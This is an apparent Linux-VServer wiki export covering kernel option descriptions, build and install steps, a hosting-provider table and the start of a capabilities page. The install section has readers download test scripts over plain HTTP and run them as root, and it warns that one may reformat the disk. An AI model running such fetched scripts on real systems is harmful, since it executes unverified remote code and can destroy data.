[ ] Enable Inode Tag Propagation (2.1+)<br />
[ ] Honor Privacy Aspects of Guests (2.1+)<br />
[256] Maximum number of Contexts (1-65533) (2.2+)<br />
[*] VServer Warnings (2.2+)<br />
[ ] VServer Debugging Code<br />
[ ] VServer History Tracing<br />
(64) Per-CPU History Size (32-65536)<br />
[ ] VServer Scheduling Monitor (2.1+)<br />
(1024) Per-CPU Monitor Queue Size (32-65536) (2.1+)<br />
(256) Per-CPU Monitor Sync Interval (0-65536) (2.1+)<br />
</pre><br />
<br />
; Enable Legacy Kernel API<br />
: This enables the legacy API used in vs1.xx, maintaining compatibility with older vserver tools, and guest images that are configured using the legacy method.<br />
<br />
; Show a Legacy Version ID<br />
: This shows a special legacy version to very old tools which do not handle the current version correctly. This will probably disable some features of newer tools so better avoid it, unless you really, really need it for backwards compatibility.<br />
<br />
; Enable dynamic context IDs<br />
: This enables support for in-kernel dynamic context IDs which are deprecated and soon to be removed.<br />
<br />
; Enable/Disable Legacy Networking Kernel API<br />
: This enables/disables the legacy networking API which is required by the chbind tool in util-vserver <= 0.30.209. Do not disable it unless you exactly know what you are doing.<br />
<br />
; Automatically Assign Loopback IP<br />
: Enable this to get a unique 127.x.y.1 address for each network context automatically, and enable the NXF_LBACK_REMAP and NXF_HIDE_LBACK flags. This creates a per-guest, isolated 127.0.0.1 address.<br />
<br />
; Automatic Single IP Special Casing<br />
: Enabling this option will make the kernel automatically set NXF_SINGLE_IP for contexts which have only one IP address (note: an lback address does not count).<br />
<br />
; Remap Source IP Address<br />
: This allows to remap the source IP address of 'local' connections from 127.0.0.1 to the first assigned guest IP.<br />
<br />
; Enable COW Immutable Link Breaking<br />
: This enables the COW (Copy-On-Write) link break code. It allows you to treat [[Unification|unified files]] like normal files when writing to them (which will implicitly break the link and create a copy of the unified file)<br />
<br />
; Enable Virtualized Guest Time<br />
: This enables per guest time offsets to allow for adjusting the system clock individually per guest. This adds some overhead to the time functions and therefore should not be enabled without good reason.<br />
<br />
; Enable Guest Device Mapping<br />
: This enables a generic remapping/access control interface for device nodes used inside the guest.<br />
<br />
; Enable Proc Security<br />
: This configures [[Secure ProcFS Entries|ProcFS security]] to initially hide non-process entries for all contexts except the main and spectator context (i.e. for all guests), which is a secure default.<br />
<br />
; Enable Hard CPU Limits<br />
: This will compile in code that allows the [[CPU Scheduler|Token Bucket Scheduler]] to put processes on hold when a context's tokens are depleted (provided that its per-context sched_hard flag is set).<br />
<br />
; Avoid idle CPUs by skipping Time<br />
: This option allows the scheduler to artificially advance time (per cpu) when otherwise the idle task would be scheduled, thus keeping the cpu busy and sharing the available resources among certain contexts.<br />
<br />
; Limit the IDLE task<br />
: Limit the idle slices, so the the next context will be scheduled as soon as possible. This might improve interactivity and latency, but will also marginally increase scheduling overhead.<br />
<br />
; Persistent Inode Tagging<br />
: This adds persistent context information to filesystems mounted with the tagxid option. [[Filesystem Tagging|Tagging]] is a requirement for per-context [[Disk Limits and Quota]].<br />
<br />
; Tag NFSD User Auth and Files<br />
: Enable this if you do want the in-kernel NFS Server to use the xid tagging specified above.<br />
<br />
; Enable Inode Tag Propagation<br />
: This allows for the tagid= mount option to specify a tagid which is to be used for the entire mount tree.<br />
<br />
; Honor Privacy Aspects of Guests<br />
: When enabled, most context checks will disallow access to structures assigned to a specific context, like ptys or loop devices.<br />
<br />
; Maximum number of Contexts<br />
: This makes sure that at least this many contexts can be created, by making sure that this much per-CPU memory is available.<br />
<br />
; VServer Warnings<br />
: Enables warnings. There's not really a good reason to disable it.<br />
<br />
; VServer Debugging Code<br />
: Set this to yes if you want to be able to activate debugging output at runtime. It adds a probably small overhead to all vserver related functions and increases the kernel size by about 20k.<br />
<br />
; VServer History Tracing<br />
: This records a history of Linux-VServer events that can be replayed in the event of a panic or an oops.<br />
<br />
; Per-CPU History Size<br />
: This allows you to set the size of the per-CPU history buffer.<br />
<br />
; VServer Scheduling Monitor<br />
: Set this to yes if you want to record the scheduling decisions, so that they can be relayed to userspace for detailed analysis.<br />
<br />
; Per-CPU Monitor Queue Size<br />
: This allows you to specify the number of entries in the per-CPU scheduling monitor buffer.<br />
<br />
; Per-CPU Monitor Sync Interval<br />
: This allows you to specify the interval in ticks when a time sync entry is inserted.<br />
<br />
=== Compiling and Installing ===<br />
<br />
Now that your kernel is configured, it is time to compile and install it. Exit the configuration and start the compilation process: <br />
<br />
<pre><br />
# make && make modules_install<br />
</pre><br />
<br />
If you don't happen to have a really fast box, it is a good time to get a new cup of coffee now ;)<br />
<br />
When the kernel has finished compiling, you have to copy the kernel image to your /boot partition and configure your boot loader. If you don't know how to do this, please consult your distribution manual or ask [http://www.google.com Google] for help.<br />
<br />
== Manual util-vserver Compilation ==<br />
<br />
The kernel alone does not help you, you also need some tools to exploit all those new features you got, so let's get them.<br />
<br />
=== Getting the Sources ===<br />
<br />
You will have to download the latest util-vserver source tarball from our [[Downloads]] section. In this guide we will use util-vserver-0.30.215.<br />
<br />
As a first step, of course, we need to get the sources.<br />
<br />
<pre><br />
# Go to our source directory<br />
cd ~/src<br />
<br />
# Get the sources for util-vserver<br />
wget http://ftp.linux-vserver.org/pub/utils/util-vserver/util-vserver-0.30.215.tar.bz2<br />
<br />
# Extract the sources<br />
tar xjf util-vserver-0.30.215.tar.bz2<br />
</pre><br />
<br />
=== Compiling and Installing ===<br />
<br />
Now that we have extracted the util-vserver source we have to do the usual configure, make, make install chain. While configuring the tools you may get some error messages about missing stuff, for example dietlibc, vconfig and e2fs headers. The error messages are accompanied by explanations what you should do, so read them carefully.<br />
<br />
<pre><br />
# Switch to the util-vserver source directory<br />
cd util-vserver-0.30.215<br />
<br />
# Configure the sources (you may want to adjust settings here, the defaults work, but may not suit your needs)<br />
./configure --prefix=<br />
<br />
# Build the tools<br />
make<br />
<br />
# Install the tools<br />
make install install-distribution<br />
<br />
# It's a good point to fix the /proc entries for the guests<br />
/etc/init.d/vprocunhide restart (this path depends on configuration, see output of 'vserver-info')<br />
</pre><br />
<br />
=== Testing your setup ===<br />
<br />
To ensure that your setup works we have created two small test scripts. The testme.sh script ensures basic functionality whereas the testfs.sh script is for inode attribute testing for various filesystems.<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testme.sh<br />
<br />
# make it executable<br />
chmod +x testme.sh<br />
<br />
# run the test script<br />
./testme.sh<br />
</pre><br />
<br />
'''Be careful! The testfs.sh script might easily reformat your hard disk :)'''<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testfs.sh<br />
<br />
# make it executable<br />
chmod +x testfs.sh<br />
<br />
# make a loopback file<br />
dd bs=1024k count=1024 if=/dev/zero of=1gb.testfile<br />
<br />
# setup the loopback<br />
losetup /dev/loop0 1gb.testfile<br />
<br />
# run the test script for legacy mode<br />
./testfs.sh -l -t -D /dev/loop0 -M /mnt<br />
<br />
# run the test script for new-style config<br />
./testfs.sh -t -D /dev/loop0 -M /mnt<br />
</pre><br />
<br />
If the scripts show any error, be sure to read [[Report a Bug|how to report a bug]] and contact the Linux-VServer Developers for help. See [[Communicate]] for details.<br />
<br />
== Where to go from here ==<br />
<br />
Now that your setup is complete and working as expected, it is time to create your first guest system. Read on at [[Building Guest Systems]].</div>Daniel hozachttp://svn.linux-vserver.org/VServer_HostingVServer Hosting2008-08-07T19:27:04Z<p>Daniel hozac: Reverted edits by 92.250.105.0 (Talk); changed back to last version by 91.96.41.153</p>
<hr />
<div>Here is a list of '''Companies''' utilizing '''Linux-VServer''' technology '''for Hosting'''...<br />
<br />
{| class="wikitable" style="width: 97%"<br />
! style="width: 25%" | Company <br />
! rowspan="2" | Description<br />
|-<br />
| Location<br />
|-<br />
! [http://rentahost.ch Switzerland]<br />
Virtual Cluster Hosting<br />
| [http://rentahost.ch rentAhost.ch]<br />
* fully virtualized environment<br />
* Build upon our own hardware production<br />
* Using our wonderfull stable Linux Distribution [http://weblinux.ch WebLinux]<br />
<br />
* We offer specialized and stable Linux VServer Solutions<br />
* flexible on its most, if needed, stable as rock<br />
<br />
* [http://prounix.ch proUnix.ch] - Consultant - Borovcnik Peter<br />
|-<br />
|-<br />
! [http://www.dreamhostps.com/ DreamHost P.S.]<br />
| rowspan=2 |<br />
* Debian servers<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
|-<br />
| Los Angeles, California, USA<br />
|-<br />
! [http://www.wessexnetworks.com Wessex Networks]<br />
| rowspan=2 |<br />
* AMD64 Linux VServer Dedicated Managed Virtual Servers<br />
* Debian based / 2.6 kernel / dedicated IP address<br />
* RAID Storage, Additional Backup, AMD Dual Core Processors, 100Mbit Burst<br />
* Host servers at [http://www.telecityredbus.com/uk/manchester Telecity Redbus Manchester]<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.datakompaniet.no DataKompaniet]<br />
| rowspan=2 |<br />
* We offer affordable Linux VServers on a 100Mbit fiber Internet connection<br />
* Gentoo based / firewalled / 2.6 kernel / private or (optional) public IP<br />
* VServers have been offered since 2004<br />
* Host servers are RAID5 equipped, and have historically had extremly good uptimes<br />
* Host servers are located in a professional server room, in the same building as Uninett Norid (Norway's TLD (.no) Registry)<br />
|-<br />
| Norway<br />
|-<br />
! [http://www.van-cuijk.nl/content/view/5/1/ ICT Van Cuijk]<br />
| rowspan=2 |<br />
* Servers located at RedBus in Amsterdam on 100 Mbit connection<br />
* Product support available in Dutch and English<br />
* Currently only offers Debian guests, but will change soon<br />
* Standard 1 public IP from RIPE space, more on request<br />
* Reverse DNS available<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://lylix.net LYLIX]<br />
VPS Hosting<br />
| rowspan=2 |<br />
* Virtual private servers based on '''2.6 kernel and 2.2.0 VServer'''.<br />
* Several different userlands are available in 32 and 64 bit, including '''Gentoo, Debian, Slackware, Fedora Core, CentOS, Arch Linux, OpenSuSE'''.<br />
* Custom images also accepted!<br />
* '''Asterisk PBX and Trixbox supported''', including Meetme, MOH, and IAX.<br />
* '''Three regional datacenter locations''': Northeast, West, and South USA.<br />
* Each primary host backed by secondary host via '''high-availability data replication''' for emergency recovery<br />
* '''"Dedicated" VPS service''' available for guaranteed minimum CPU<br />
* Comprehensive customer portal w/ VPS management and statistics<br />
|-<br />
| United States of America<br />
|-<br />
! [http://www.sns.ro SNS] <br />
System & Network Solutions<br />
| rowspan=2 |<br />
* We are using vservers in most of our setups and on hundreds of servers that offer public services - such as web, mail, dns, sql. <br />
* We also do local evangelisation for the project (just because it kicks ass). <br />
|-<br />
| Romania<br />
|-<br />
! [http://netflow.ru Sky Media]<br />
| rowspan=2 |<br />
|-<br />
| Russia<br />
|-<br />
! [http://acewebhosting.com Ace WebHosting]<br />
| rowspan=2 |<br />
* We provide affordable virtual private servers. We also use vservers for shared hosting.<br />
|-<br />
|<br />
|-<br />
! [http://www.tpg.com.au TPG Internet]<br />
| rowspan=2 |<br />
* Currently using vservers for providing Gaming services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.expio.co.nz EXPIO Communications]<br />
| rowspan=2 |<br />
* Specialising in Linux Virtual Server hosting solutions.<br />
* Running the FreeVPS platform, which is based on linux-vserver, integrated with H-Sphere control panel.<br />
* Providing virtual server hosting since 1998.<br />
|-<br />
| New Zealand<br />
|-<br />
! [http://www.hostix.it HostiX]<br />
| rowspan=2 |<br />
* Italian hosting provider has been offering the service since the early versions of vserver.<br />
* Currenly using the stable version but has beta program for the new 2.6 kernels.<br />
* High availability vservers on request too.<br />
|-<br />
| Italy<br />
|-<br />
! [http://www.virtualinfrastructure.nl Virtualinfrastructure.nl]<br />
| rowspan=2 |<br />
* Dutch consultancy and development company LinIT Technologies started a site about Linux vserver technology, also offering consultancy and support for Vserver.<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://www.virtuaserver.com.br VirtuaServer]<br />
| rowspan=2 |<br />
* Affordable virtual private servers in Brazil.<br />
* The first company in Brazil to introduce vserver hosting.<br />
* We offer our customers an exclusive control panel which allows them to monitor their servers, easily setup firewall rules and backup their data.<br />
* Running kernel 2.6 and hosting Debian, Fedora, Mandrake, Slackware, Conectiva and CentOS virtual servers.<br />
|-<br />
| Brazil<br />
|-<br />
! [http://www.neoisis.net www.neoisis.net]<br />
| rowspan=2 |<br />
* Internet service infrastructure and hosting: domain names, web sites, email systems, virtual servers. Bulk delivery for resellers. Custom-made solutions developed in cooperation with the client.<br />
* Planning and strategy for ICT organization and leadership.<br />
* Research and analysis.<br />
* Tailored systems and programming services. Functional analysis, testing, debugging.<br />
* Usability.<br />
* General ICT consulting.<br />
* Linux-VServer -based virtual servers available with several different distributions.<br />
|-<br />
| Finland<br />
|-<br />
! [http://webhosting.lycos.co.uk/expert/comparevds/ Lycos Europe]<br />
| rowspan=2 |<br />
* active cooperation with VServer project since 2004<br />
* High performance and quality VDS Solutions based on Linux-VServer Technology<br />
* low prices and free trials<br />
* Web Administration panel to monitor and use main functions of your Vserver<br />
* Control Panel to monitor your account data etc.<br />
* Hosted in professional certified datacenter in Germany<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.v-server.cz/ FinalTek.com]<br />
| rowspan=2 |<br />
* Linux kernel 2.6 based vservers / Dual Intel P4 or Xeon platform.<br />
* Providing payed vserver hosting. Starting from 9 EUR per month.<br />
* Distributions: Debian, Centos, Redhat, Fedora, Ubuntu and others on demand.<br />
* Start specs: 400MHz CPU, 192MB RAM, 5GB HDD space, unlimited traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.vserver-hosting.cz/ vServer-Hosting.cz]<br />
| rowspan=2 |<br />
* Linux kernel 2.6<br />
* Intel Xeon platform<br />
* Distributions: Debian, Ubuntu and others<br />
* Unlimited traffic<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.ikse.net Ikse]<br />
| rowspan=2 |<br />
* Ikse provide Virtual Dedicated Server on Debian and Fedora Core, empty, or with a free 'hosting pack'.<br />
* Convert your existing "real Linux server" to Ikse Virtual Dedicated Server is also possible.<br />
|-<br />
| France<br />
|-<br />
! [http://www.odsol.com ODSOL Premium Web Hosting]<br />
| rowspan=2 |<br />
* We specialise in [http://www.odsol.com ecommerce hosting] using virtual private server technology.<br />
* We offer both Linux-vserver [http://www.odsol.com/virtual_private_server/ virtual dedicated server] and Virtuozzo based [http://www.odsol.com/virtual_private_server/ virtual private server], Cpanel and DirectAdmin control panel included.<br />
|-<br />
|<br />
|-<br />
! [http://www.ip-cracks.ch ip-cracks GmbH]<br />
| rowspan=2 |<br />
* We offer Linux-VServers in different flavours to our customers. The product range starts with the Sandbox Private for residential customers up to the Sandbox Pro for business customers with high expectations. We have a set of new products in the queue which have a strong focus for the small and medium business companies as for an example a centralised DMS. Many services are based on the Linux-vServer technology.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.acox.de/ ACOX Corporation]<br />
| rowspan=2 |<br />
* ACOX Corporation offers low-cost virtual servers based on the linux-vserver.org project.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.winprofi.de/ WINPROFI]<br />
| rowspan=2 |<br />
* WINPROFI offers cheap virtual servers situated in Munich, Germany.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.studio-51.net/ Studio 51]<br />
Internet Solutions<br />
| rowspan=2 |<br />
* Studio 51 offers virtual servers based on the linux-vserver.org project.<br />
|-<br />
|<br />
|-<br />
! [http://www.conexim.com.au/ Conexim web hosting]<br />
| rowspan=2 |<br />
* Australian quality hosting company offering general hosting, virtual-servers and dedicated, managed hosting services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.liquidweb.com Liquid Web Inc.]<br />
| rowspan=2 |<br />
* Liquid Web uses linux-vserver to offer CPanel based hosting services. <br />
* We service hundreds of clients running linux-vserver in our Datacenter located in Lansing, Michigan (USA.)<br />
|-<br />
|<br />
|-<br />
! [http://www.electronicbox.net Electronicbox Communications]<br />
| rowspan=2 |<br />
* We are using Linux-VServer since 2001 and have test it under high load for mission critical services and Linux-VServer was definitively the best software.<br />
* We are providing secure environment with vserver to companies around the world who look for always online servers.<br />
* This is very important for us to have a good software who can process the high load of data we are having daily on the network.<br />
|-<br />
|<br />
|-<br />
! [http://www.openhosting.com/ OpenHosting, Inc.]<br />
| rowspan=2 |<br />
* Inexpensive VServer-based Virtual Servers.<br />
* Sponsors of the [http://www.openvps.org/ OpenVPS] project.<br />
* Now using kernel 2.6 and vserver 1.9.x!<br />
|-<br />
|<br />
|-<br />
! [http://www.dievo.org/ Digital Evolution] <br />
(wargames.unix.se)<br />
| rowspan=2 |<br />
* Digital Evolution is the largest wargaming-site on the net, content-wise.<br />
* We use vserver for all wargames (more than a dozen right now) and all other services as well.<br />
* The stability, ease of use and performance is unrivaled, migrating our servers to vserver is most definately one of the best decisions we've ever made. It happily serves all people (who, after all, try to break our security) logged in on our shellbased wargames and shells out hunderedes of thousands connections to other services each day.<br />
|-<br />
| Sweden<br />
|-<br />
! [http://www.nine.ch/ Nine Internet Solutions AG]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* 2 machines P4 2.4GHz 1GB each running vs1.00 (Jan04) stable since 1.Jul.2003<br />
* We use VServer as an alternative between the shared webhosting and serverhousing.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://vps.at clusterhosting mit system]<br />
| rowspan=2 |<br />
* highavailable vps-servers on cluster<br />
* linux solutions - system, analyse & programming<br />
* docu & infos: http://vps.at<br />
* running 3 machines ( Poweredge 4x400 / 4 gb Ram )<br />
* #-> Linux pe-6300-3 2.6.18-1.2849.fc6.vs2.0.2.1 SMP<br />
|-<br />
| Austria<br />
|-<br />
! [http://AcornHosting.net Acorn Hosting]<br />
| rowspan=2 |<br />
* Running 6 machines (Mostly P4 2GHz) with vservers, various kernel versions. Since Jul '02.<br />
* Customers love vservers because they can run any software version in them, instead of getting stuck with mychoices.<br />
|-<br />
|<br />
|-<br />
! [http://www.tu-braunschweig.de/rz/services/sys/divdienst/vserver TU Braunschweig]<br />
Rechenzentrum <br />
| rowspan=2 |<br />
* Running two machines, mainly webserver for customers from inside the university.<br />
* One additional machine for a number of services i refuse to run on standalone machines because it is wasted cpu-power.<br />
* One machine for various tests and future developements.<br />
|-<br />
| Germany<br />
|<br />
|-<br />
! [http://www.lunarix.de LUNARIX]<br />
| rowspan=2 |<br />
* LUNARIX offers high quality hosting, including:<br />
* Colocation, Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, Webspace, Gameserver, Domains.<br />
* We also setup / implement HA (high availability) cluster and load-balacing solutions.<br />
|-<br />
|<br />
|-<br />
! [http://www.wwip.de W)W)ip High Quality Network]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Offering PBVSC PHP Based Interface to administrate the vservers - PBVSC is back!<br />
* Running since Nov. 2003 stable (Various versions, first we started with vs1.0 now we have 1.22 and kernel 2.4.24 running stable)<br />
* We use VServer too as an alternative between the shared webhosting and serverhousing or rent dedicated server. Customers need a flexible and stable server surroundings and vserver from this projekt is the best we seen out there. Support and community plays hand in hand, not as any commercial products out there. Any other system servers are now in his own vserver on only one big server and it works great. Lower costs on server and therefore lower IT costing. Our IT leader and IT employee in private surroundings, test and use vserver with enthusiasm ;)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.traffic4all.com Traffic4All.com]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Server: AMD Athlon(tm) XP 2800+ - 1,5 GB DDR Ram<br />
* Linux t4a3 2.4.23-vs1.22 #12 Thu Jan 1 16:11:12 CET 2004 i686 AMD Athlon(tm) XP 2800+ AuthenticAMD GNU/Linux<br />
|-<br />
|<br />
|-<br />
! [http://www.infoteck.qc.ca Infoteck Internet]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Servers: Multiple HP LH4 (4 x XEON) and LH6000 (6 x XEON) w/ 4Gb RAM per servers.<br />
* 1.2Tb of shared storage (RAID50)<br />
* Backbone: 2 x 100Mbps backbone (Dual homing/BGP)<br />
|-<br />
| Turkey<br />
|-<br />
! [http://www.natro.com Natro Web Hosting Services]<br />
| rowspan=2 |<br />
* Offering secure Virtual Dedicated Server environments on Debian & Ubuntu hosts with several choices of guests including control panel integration<br />
* Also providing linux hosting services on linux-vserver powered servers<br />
* Clustering of mission critical services<br />
|-<br />
|<br />
|-<br />
! [http://www.omnis.com.tr Omnis Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers, it gives extra security and managment for us.<br />
* It is life saver product.<br />
|-<br />
|<br />
|-<br />
! [http://www.zylon.net/ Zylon Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers to provide an extra layer of security for our customers.<br />
* We do not provide full vservers, we only provide 'standard' webhosting facilities.<br />
|-<br />
|<br />
|-<br />
! [http://www.isp4p.net ISP4P]<br />
| rowspan=2 |<br />
* see also http://www.isp4player.net<br />
* Allround ISP 4 Professionals<br />
* Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, vServer Reselling, Domains<br />
|-<br />
|<br />
|-<br />
! [http://www.rootbash.com Nauck IT KG]<br />
(rootbash.com)<br />
| rowspan=2 |<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.star-hosting.de Star-Hosting]<br />
| rowspan=2 |<br />
* see also http://www.vserver4free.de<br />
* Get dedicated Servers, vServers and many more services with a very high traffic-contingent!!<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.planet-lab.org/ PlanetLab]<br />
| rowspan=2 |<br />
* PlanetLab is an open, globally distributed platform for developing, deploying and accessing planetary-scale network services.<br />
* PlanetLab nodes support both short-term experiments and long-running network services.<br />
* To date, more than 200 research projects at top academic institutions have used PlanetLab to experiment with such diverse topics as distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and distributed query processing. See http://www.planet-lab.org/ for more details.<br />
|-<br />
|<br />
|-<br />
! [http://www.dsvr.co.uk/ Designer Servers Ltd]<br />
| rowspan=2 |<br />
* Offering effective Linux vserver-protected hosting to web professionals in the UK and beyond.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.rosehosting.com Rose Web Services L.L.C.]<br />
| rowspan=2 |<br />
* Founded in April 2001, located in St. Louis, Missouri, USA, Rose Hosting provides all kinds of hosting solutions, including [http://www.rosehosting.com Linux VPS Hosting], based on Linux-VServer Technology.<br />
|-<br />
| USA<br />
|-<br />
! [http://sandino.net/ Sandino Networks]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Dual core servers hardened with GR Security <br />
* Choice of different operating systems: Gentoo, CentOS, Debian, Ubuntu, Slackware, Fedora....<br />
* Choice of different vserver sizes<br />
|-<br />
| México<br />
|-<br />
! [http://www.turnkeyinternet.net TurnKeyInternet.NET]<br />
| rowspan=2 |<br />
* Coast to Coast Datacenter replicated Linux Virtual Private Server packages that are fully mirrored providing 100% uptime.<br />
* Packages include fully managed service and support.<br />
|-<br />
|<br />
|-<br />
! [http://www.smart-weblications.de Smart Weblications GmbH]<br />
| rowspan=2 |<br />
* vservers with RAID1 host systems<br />
* multihomed location in germany with 2x 1 Gbit uplink and 2x 100MBit backup.<br />
* Starting from 3.90 EUR / month for a 2 GB disk, 10 GB traffic vserver with 1 IP<br />
* this ISP also offers a large variety of dedicated servers and also offers server homing.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.cityservers.net/ CityServers.Net]<br />
Dedicated Servers<br />
| rowspan=2 |<br />
* Offering dedicated servers and economic Fedora vServers hosting to IT professionals in the EU.<br />
* Packages include fully managed service and support.<br />
|-<br />
| Poland<br />
|-<br />
! [http://www.vps2go.com/ VPS2GO]<br />
| rowspan=2 |<br />
* Currenly using the stable version but will be upgraded to new 2.6 kernel + vs2.0 soon. <br />
|-<br />
| Japan<br />
|-<br />
! [http://www.net-lab.net net-lab] <br />
vserver/web-hosting<br />
| rowspan=2 |<br />
* Currently run our first testing host on kernel 2.6 + vs2.0 is running. Server Location: Frankfurt, near DE-CIX.<br />
* Commercial offer for vserver accounts soon available.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.stepping-stone.ch stepping stone GmbH]<br />
| rowspan=2 |<br />
* Our whole ISP infrastructure (Mail, Web, Directories, ...) is built upon the 2.0 vServer series on the 2.6 Linux kernel, running Gentoo Linux.<br />
* We provide [http://www.stepping-stone.ch/en/products/vserver/linux-vserver/ Gentoo and Debian vServers].<br />
* iptables/netfilter rules are implemented free of charge on the carrier as part of our service.<br />
* As a speciality, you can run [http://www.asterisk.org/ Asterisk] in our vServers! <br />
* Furthermore we're specialized in providing high availability solutions in combination with [[Welcome_to_Linux-VServer.org|Linux VServer]] and [http://www.drbd.org/ DRBD].<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.vroutix.com vRoutix]<br />
| rowspan=2 |<br />
* Offering kernel 2.6 Vservers in Argentina. Compaq Xeon/Sun Ultrasparc Servers (with Raid1).<br />
* Very affordable prices.<br />
* Starter: Very low price !<br />
* Lite: Low end users<br />
* Standard: small bussiness<br />
* Pro: mid-size bussiness<br />
* Control panel to monitor your vServer performance, processes, storage, traffic, account data, etc.<br />
* vServers demo accounts for Free. Try out one of our vServers !!!.<br />
* Now with iptables support inside your vServer !!!<br />
|-<br />
| Argentina<br />
|-<br />
! [http://www.mpexnetworks.de MPeXnetworks] <br />
MPeX.net GmbH<br />
| rowspan=2 |<br />
* High performance virtual servers on RAID1 Hosts<br />
* Leistungsfähige virtuelle Server für Ihr Unternehmen.<br />
* MPeXnetworks is offering three vserver packets.<br />
* Our systems have a low customer density, resulting in more power for everyone.<br />
* Nagios monitoring and free e-mail notification is included.<br />
* All VServer offers include a 30 day money-back-guarantee.<br />
|-<br />
| Berlin/Germany<br />
|-<br />
! [http://www.sentiensystems.com SentienSystems]<br />
| rowspan=2 |<br />
* High performance, quality, and secure Virtual Private Servers<br />
* SentienSystems(.com/.net) proudly utilizes and promotes open source software such as Linux-VServer on the secure and performance-intensive Gentoo Linux platform.<br />
|-<br />
| Austin, Texas, USA<br />
|-<br />
! [http://new.pipni.cz/vindex.phtml PIPNI s.r.o]<br />
| rowspan=2 |<br />
* Linux 2.6 Vservers on Intel Xeon platform<br />
* Providing free and payed vServer hosting. Freehosting has no guarantee, payed are guaranted.<br />
* You can select from Slackware, Gentoo or Debian hosting.<br />
* Freehosting specs: 333 MHz CPU, 128 MB RAM, 2 GB HDD space, 10 GB traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.croup.de croup.de]<br />
crossmedia solutions<br />
| rowspan=2 |<br />
* We provide individual VServer installations for our customers in Germany using Gentoo Linux.<br />
|-<br />
| Germany<br />
|-<br />
! [http://hosting.media72.co.uk Media72 hosting]<br />
| rowspan=2 |<br />
* Red Hat Enterprise Linux solutions<br />
* We provide custom hosting solutions starting from £2.08 a year. Virus and spam protection as standard on all accounts.<br />
<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.xcompetence.dk Xcompetence]<br />
Hosting<br />
| rowspan=2 |<br />
* Debian (/Ubuntu) Hosting løsninger<br />
* Vi tilbyder komplette serverløsninger. Alle konti har firewall samt virus og spam beskyttelse.<br />
<br />
|-<br />
| Danmark - Sverige.<br />
|-<br />
! [http://www.centrodedatos.com Centrodedatos]<br />
Dedicated Servers / Colocation / Housing<br />
| rowspan=2 |<br />
* Dedicated Servers and Server Clusters based on Linux VServer. Totally personalized solutions.<br />
* Servidores Dedicados y Clusters de Servidores basados en Linux VServer. Soluciones a medida.<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.condalis.es Condalis]<br />
VPS and Shared Hosting<br />
| rowspan=2 |<br />
* Centos, Debian, Fedora, Gentoo, Mandrake, Redhat, Slackware, Suse, Ubuntu in your VPS Linux-VServer to web professionals in Spain.<br />
* Centos 5 + WHM/Cpanel + RVSkin + Fantastico available for Hosting resellers!<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.upfrontsystems.co.za/hosting/ploneserver Upfront Systems]<br />
| rowspan="2" |<br />
* Servers in Germany and South Africa<br />
* Debian stable hosts based on linux vserver<br />
* Dedicated (but not limited to) Zope and Plone hosting<br />
<br />
|-<br />
| Germany - Berlin.<br />
|-<br />
! [http://www.notjusthosting.com NotJustHosting]<br />
NotJustHosting<br />
| rowspan="2" |<br />
* Servers in Germany<br />
* Debian stable hosts based on linux vserver, individual solutions<br />
* Fully managed and self-managed packages<br />
<br />
|-<br />
| South Africa<br />
|-<br />
! [http://vege.net/vserver vege.net GmbH]<br />
| rowspan="2" |<br />
* Vserver Hosting<br />
* Serverstandort Bremen und Nürnberg<br />
<br />
<br />
<br />
|-<br />
| Germany - Bremen<br />
|-<br />
<br />
<br />
|}</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Capabilities_and_Flagsutil-vserver:Capabilities and Flags2008-07-29T22:08:54Z<p>Daniel hozac: Reverted edits by 219.91.231.125 (Talk); changed back to last version by Powerfox</p>
<hr />
<div>This page discusses how to set capabilities and flags for a util-vserver guest. Also check http://www.nongnu.org/util-vserver/doc/conf/configuration.html for additional information.<br />
A couple of general rules applies to all of the files described on this page:<br />
* The filenames are all relative to the guest's configuration directory, which typically is <code>/etc/vservers/<em><guest></em></code> but by default <code>/usr/local/etc/vservers/<em><guest></em></code> when built from source.<br />
* One capability/flag per line<br />
* To remove something set by default, prefix it with ~, for instance:<br />
echo ~SET_UTSNAME >> ccapabilities<br />
* Comments can be added with #:<br />
echo \# Disable utsname configuration >> ccapabilities<br />
* To set a specific bit which does not yet have a name in util-vserver, you can use the following notation to set bit 6:<br />
echo ^6 >> ncapabilities<br />
<br />
=== Setting context capabilities (ccaps) ===<br />
* Add the capabilities to a file named <code>ccapabilities</code>:<br />
echo SYSLOG >> ccapabilities<br />
